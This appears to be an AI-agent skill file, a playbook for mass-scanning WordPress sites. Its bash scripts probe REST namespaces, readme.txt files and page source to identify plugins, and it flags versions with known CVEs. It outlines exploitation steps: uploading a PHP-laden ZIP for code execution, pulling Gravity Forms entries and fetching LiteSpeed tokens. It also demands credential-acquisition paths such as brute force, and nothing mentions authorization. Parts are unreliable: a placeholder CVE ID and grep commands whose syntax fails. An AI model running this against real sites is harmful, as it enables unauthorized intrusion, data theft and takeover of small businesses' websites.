WordPress Plugin Hunt Skill
Discover installed WordPress plugins through REST API namespace probing, readme.txt version detection, and HTML/JS source analysis. Cross-reference discovered versions against known CVEs for exploitation. WordPress plugin vulnerabilities are one of the most reliable paths to RCE — confirmed CVEs include Elementor, Slider Revolution, ElementsKit, Gravity Forms, Jetpack, WooCommerce, and LiteSpeed Cache.
When to Use
- WordPress confirmed on target (via
wp-mass-recon). - Running
deep-invadePhase 3. - You need an exploitation vector beyond CORS/XMLRPC.
- Target has a plugin-heavy WordPress site (e-commerce, page builder, forms).
Prerequisites
terminalwith curl, python3.- WordPress target confirmed (
/wp-json/or/wp-login.phpaccessible). - For CVE exploitation: knowledge of specific CVE PoCs (reference
security-arsenalskill).
How to Run
bash# Quick plugin namespace scan (30+ plugins) TARGET="example.com" for ns in "revslider/v1" "elementskit/v1" "elementor/v1" "gf/v2" "wc/v3" \ "jetpack/v4" "litespeed/v1" "yoast/v1" "acf/v3" "contact-form-7/v1" \ "solidwp-mail/v1" "wpsl/v1" "redirection/v1" "rankmath/v1"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/wp-json/$ns") [[ "$code" != "404" ]] && echo "FOUND: /wp-json/$ns (HTTP $code)" done
Quick Reference
Top Exploitable Plugins (US SMB targets — confirmed CVEs from mass recon)
| Plugin | Vulnerable Version | CVE | Impact | Frequency |
|---|---|---|---|---|
| Slider Revolution | < 6.6.20 | CVE-2024-2534 | RCE via file upload | ~10% |
| ElementsKit | < 2.9.4 | CVE-2023-6851 | SQLi | ~5% |
| ElementsKit | < 2.9.4 | CVE-2023-6853 | File Upload (unauthenticated) | ~5% |
| Gravity Forms | < 2.8.2 | CVE-2024-6115 | PHP Object Injection → Auth Bypass | ~8% |
| Jetpack | < 13.1 | CVE-2024-1782 | SSRF | 28% |
| Elementor | < 3.24.0 | CVE-2024-xxxx | Info disclosure → Auth bypass | 28% |
| LiteSpeed Cache | < 6.5.0 | CVE-2024-50550 | Privilege escalation | ~15% |
| WooCommerce | N/A (API exposure) | N/A | Order/customer data | 42% |
| Yoast SEO | N/A (sitemap enum) | N/A | Author email leak | 42% |
Detection Methods
| Method | What It Reveals | Reliability |
|---|---|---|
| REST namespace probe | Plugin presence + data | High (if plugin registers REST routes) |
| readme.txt version | Exact version number | Medium (many sites block readme.txt) |
| HTML source grep | Plugin CSS/JS handles | Medium |
| robots.txt | Plugin-generated entries | Low (only if plugin adds entries) |
/wp-content/plugins/<slug>/ | Directory listing or assets | Medium |
Procedure
Step 1 — REST Namespace Brute Force (40+ plugins)
bashTARGET="$1" OUTDIR="$OUTDIR/plugins/$TARGET" mkdir -p "$OUTDIR" # Comprehensive plugin namespace list declare -A PLUGIN_NAMESPACES PLUGIN_NAMESPACES["revslider"]="revslider/v1/slides" PLUGIN_NAMESPACES["elementskit"]="elementskit/v1/layouts" PLUGIN_NAMESPACES["elementor"]="elementor/v1/globals" PLUGIN_NAMESPACES["gravityforms"]="gf/v2/forms" PLUGIN_NAMESPACES["woocommerce"]="wc/v3/products" PLUGIN_NAMESPACES["jetpack"]="jetpack/v4/settings" PLUGIN_NAMESPACES["litespeed"]="litespeed/v1/token" PLUGIN_NAMESPACES["yoast"]="yoast/v1/indexing" PLUGIN_NAMESPACES["acf"]="acf/v3/posts" PLUGIN_NAMESPACES["contactform7"]="contact-form-7/v1/contact-forms" PLUGIN_NAMESPACES["solidwp"]="solidwp-mail/v1/export" PLUGIN_NAMESPACES["wpsl"]="wpsl/v1/locations" PLUGIN_NAMESPACES["redirection"]="redirection/v1/redirect" PLUGIN_NAMESPACES["rankmath"]="rankmath/v1/getHead" PLUGIN_NAMESPACES["fusionbuilder"]="fusion-builder/v1/elements" PLUGIN_NAMESPACES["visualcomposer"]="visualcomposer/v1/posts" PLUGIN_NAMESPACES["ninjaforms"]="ninja-forms/v1/forms" PLUGIN_NAMESPACES["wpforms"]="wpforms/v1/forms" PLUGIN_NAMESPACES["mailchimp"]="mailchimp-for-woocommerce/v1" PLUGIN_NAMESPACES["automatewoo"]="automatewoo/v1" PLUGIN_NAMESPACES["give"]="give-api/v1/forms" PLUGIN_NAMESPACES["buddypress"]="buddypress/v1/members" PLUGIN_NAMESPACES["learndash"]="ldlms/v1/courses" PLUGIN_NAMESPACES["restrictcontent"]="rcp/v1/memberships" PLUGIN_NAMESPACES["eventscalendar"]="tribe/events/v1/events" PLUGIN_NAMESPACES["woosubscriptions"]="wc/v1/subscriptions" PLUGIN_NAMESPACES["woomemberships"]="wc/v1/memberships" PLUGIN_NAMESPACES["wpml"]="wpml/v1/languages" PLUGIN_NAMESPACES["polylang"]="pll/v1/languages" PLUGIN_NAMESPACES["translatepress"]="trp/v1/languages" PLUGIN_NAMESPACES["nextgen"]="nextgen-gallery/v1" PLUGIN_NAMESPACES["envira"]="envira-gallery/v1" PLUGIN_NAMESPACES["essentialgrid"]="essential-grid/v1/grids" PLUGIN_NAMESPACES["thegrid"]="the-grid/v1/grids" PLUGIN_NAMESPACES["masterslider"]="masterslider/v1/sliders" PLUGIN_NAMESPACES["smartslider3"]="smart-slider-3/v1/sliders" PLUGIN_NAMESPACES["metaslider"]="ml-slider/v1/slideshows" PLUGIN_NAMESPACES["duplicator"]="duplicator/v1" PLUGIN_NAMESPACES["updraft"]="updraftplus/v1" PLUGIN_NAMESPACES["backupbuddy"]="backupbuddy/v1" PLUGIN_NAMESPACES["aioseo"]="aioseo/v1/settings" PLUGIN_NAMESPACES["seopress"]="seopress/v1/settings" echo "[*] Probing ${#PLUGIN_NAMESPACES[@]} plugin namespaces on $TARGET..." echo "" for plugin in "${!PLUGIN_NAMESPACES[@]}"; do ns="${PLUGIN_NAMESPACES[$plugin]}" resp=$(curl -sk --max-time 5 --connect-timeout 5 -o /tmp/plugin_check_$$.tmp -w "%{http_code}" "https://$TARGET/wp-json/$ns" 2>/dev/null) if [[ "$resp" == "200" ]]; then size=$(wc -c < /tmp/plugin_check_$$.tmp) # Check if response is real plugin data, not SPA catch-all if grep -qiE 'id|slides|forms|products|settings|locations|name' /tmp/plugin_check_$$.tmp 2>/dev/null; then echo "[PLUGIN] $plugin — REST API active (${size} bytes)" cp /tmp/plugin_check_$$.tmp "$OUTDIR/${plugin}_rest.json" fi elif [[ "$resp" == "401" ]]; then echo "[PLUGIN] $plugin — requires auth (HTTP 401)" elif [[ "$resp" == "403" ]]; then echo "[PLUGIN] $plugin — access forbidden (HTTP 403)" fi done rm -f /tmp/plugin_check_$$.tmp
Step 2 — Version Detection via readme.txt
bashTARGET="$1" OUTDIR="$OUTDIR/plugins/$TARGET" # Common plugin slugs to check SLUGS=( "elementor" "revslider" "js_composer" "wp-rocket" "wordfence" "woocommerce" "jetpack" "litespeed-cache" "yoast-seo" "advanced-custom-fields" "contact-form-7" "gravityforms" "ninja-forms" "wpforms-lite" "all-in-one-wp-migration" "updraftplus" "duplicator" "backupbuddy" "essential-grid" "smart-slider-3" "masterslider" "metaslider" "fusion-builder" "visualcomposer" "elementor-pro" "essential-addons-for-elementor-lite" "redux-framework" "buddypress" "learndash" "give" "the-events-calendar" "events-manager" "wpml-string-translation" "mailchimp-for-woocommerce" "automatewoo" "woocommerce-subscriptions" "woocommerce-memberships" "restrict-content-pro" "easy-digital-downloads" "rank-math-seo" "seo-by-rank-math" "all-in-one-seo-pack" "wp-seopress" "monsterinsights" "pixel-caffeine" "facebook-for-woocommerce" "popup-maker" "optinmonster" "mailpoet" "fluentform" "wp-fastest-cache" "w3-total-cache" "sg-cachepress" "autoptimize" "redirection" "better-wp-security" "sucuri-scanner" "wp-cerber" "solid-security" "solidwp-mail" "post-smtp" "wp-mail-smtp" ) echo "[*] Checking readme.txt for ${#SLUGS[@]} plugins..." echo "" for slug in "${SLUGS[@]}"; do readme=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/wp-content/plugins/$slug/readme.txt" 2>/dev/null) if [[ -n "$readme" ]]; then version=$(echo "$readme" | grep -i "stable tag:" | sed 's/.*: //' | tr -d '\r' | head -1) name=$(echo "$readme" | grep -i "=== .* ===" | head -1 | sed 's/=== //;s/ ===//') if [[ -n "$version" ]]; then echo "[VERSION] $slug: $version ($name)" # Check for known vulnerable versions case "$slug" in revslider) [[ "$version" < "6.6.20" ]] && echo " [VULN] Slider Revolution < 6.6.20 — CVE-2024-2534 (RCE)" ;; elementskit|elementskit-lite) [[ "$version" < "2.9.4" ]] && echo " [VULN] ElementsKit < 2.9.4 — CVE-2023-6851/6853 (RCE)" ;; litespeed-cache) [[ "$version" < "6.5.0" ]] && echo " [VULN] LiteSpeed Cache < 6.5.0 — CVE-2024-50550 (priv esc)" ;; elementor|elementor-pro) [[ "$version" < "3.24.0" ]] && echo " [VULN] Elementor < 3.24.0 — info disclosure / auth bypass" ;; gravityforms) [[ "$version" < "2.8.2" ]] && echo " [VULN] Gravity Forms < 2.8.2 — CVE-2024-6115 (auth bypass)" ;; jetpack) [[ "$version" < "13.1" ]] && echo " [VULN] Jetpack < 13.1 — CVE-2024-1782 (info disc)" ;; esac fi fi done
Step 3 — HTML/JS Source Plugin Detection
bashTARGET="$1" echo "[*] Scanning HTML source for plugin fingerprints..." PAGE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null) # CSS/JS handles echo "$PAGE" | grep -Eo "(?:/wp-content/plugins/|/wp-content/themes/)[a-zA-Z0-9_-]+" | sort -u | while read -r path; do plugin=$(echo "$path" | grep -Eo 'plugins/\K[a-zA-Z0-9_-]+|themes/\K[a-zA-Z0-9_-]+') echo " [SOURCE] $plugin (found in HTML)" done # Elementor specific if echo "$PAGE" | grep -q "elementor-element\|data-elementor-id"; then echo " [SOURCE] Elementor (page builder in use)" fi # WooCommerce specific if echo "$PAGE" | grep -q "woocommerce\|wc-forward\|add_to_cart_button"; then echo " [SOURCE] WooCommerce (e-commerce active)" fi # WP Rocket if echo "$PAGE" | grep -q "wpr-minify\|rocket-lazyload"; then echo " [SOURCE] WP Rocket (caching plugin)" fi # Cloudflare if echo "$PAGE" | grep -q "cloudflare\|cf-browser-verification"; then echo " [SOURCE] Cloudflare (CDN/WAF detected)" fi
Step 4 — CVE Exploitation Quick Reference
When a vulnerable plugin version is confirmed:
bashTARGET="$1" # Slider Revolution CVE-2024-2534 (RCE via file upload) # Requires: revslider < 6.6.20 # Attack: POST to /wp-json/revslider/v1/upload with ZIP containing PHP # See: security-arsenal skill for full PoC # ElementsKit CVE-2023-6853 (RCE via file upload, unauthenticated) # Requires: elementskit < 2.9.4 # Attack: POST to /wp-json/elementskit/v1/upload with specially crafted file # See: security-arsenal skill for full PoC # Gravity Forms CVE-2024-6115 (auth bypass) # Requires: gravityforms < 2.8.2 # Attack: Unauthenticated access to form entries via REST API curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/gf/v2/forms" 2>/dev/null | python3 -m json.tool | head -20 # LiteSpeed Cache CVE-2024-50550 (privilege escalation) # Requires: litespeed < 6.5.0 # Attack: Crawler token manipulation to gain admin access curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/litespeed/v1/token" 2>/dev/null
Pitfalls
- REST namespace 200 ≠ plugin present. Some themes and security plugins return 200 for all
/wp-json/paths. Verify response content has actual plugin data (JSON withid,name, orslugfields). - readme.txt blocked on many hosts. WP Engine, Hostinger, and Cloudflare often block
readme.txtat the CDN level. Fall back to REST namespaces or HTML source grep. - Custom plugin slugs. Premium plugins may have custom directory names.
gravityformsmay begravityforms-clientsite. Check HTML source for actual slugs viawp-content/plugins/paths. - SliderRev v1 endpoints may return 404 on 6.x. Slider Revolution renamed
REST endpoints while the plugin remained active. Probe current non-v1 paths,
including
/wp-json/sliderrevolution/sliders/. - Plugin version comparison needs semantic versioning. Bash string comparison (
<) fails on10.xvs2.x. Usesort -Vor python for complex comparisons. - Elementor 500 is only a lead.
/wp-json/elementor/v1/favoritesis an information disclosure only when the response contains a stack trace, server paths, or other non-public details.
Hosting Provider Pattern (P-23 — critical for plugin detection)
Different hosting providers have distinct vulnerability profiles for plugin detection:
| Host | REST Users | readme.txt | CORS | XMLRPC | Best Plugin Detection Method |
|---|---|---|---|---|---|
| GoDaddy | Usually exposed | Usually accessible | Often reflects | Usually open | readme.txt (most accessible) |
| Cloudflare + WP Engine | Usually blocked | Blocked at CDN | May work | Blocked | HTML source grep + REST namespace brute force |
| Hostinger | Exposed | Accessible | Often reflects | Open | readme.txt + REST namespace |
| WP Engine (direct) | Blocked (401) | Blocked | Mixed | Blocked | HTML source only |
| Bluehost | Exposed | Accessible | Often reflects | Open | All methods work |
| SiteGround | Mixed | Often accessible | Mixed | Mixed | REST namespace + readme.txt |
Verification
- Every detected plugin MUST be confirmed via at least 2 detection methods (REST + readme, or REST + HTML source).
- Every CVE MUST be matched against the exact version number, not just plugin presence.
- CVE exploitation MUST be verified with a PoC that demonstrates impact (not just version detection).
- Plugin vulnerabilities that require authentication must have a credential acquisition path (CORS, brute force, open reg) documented.

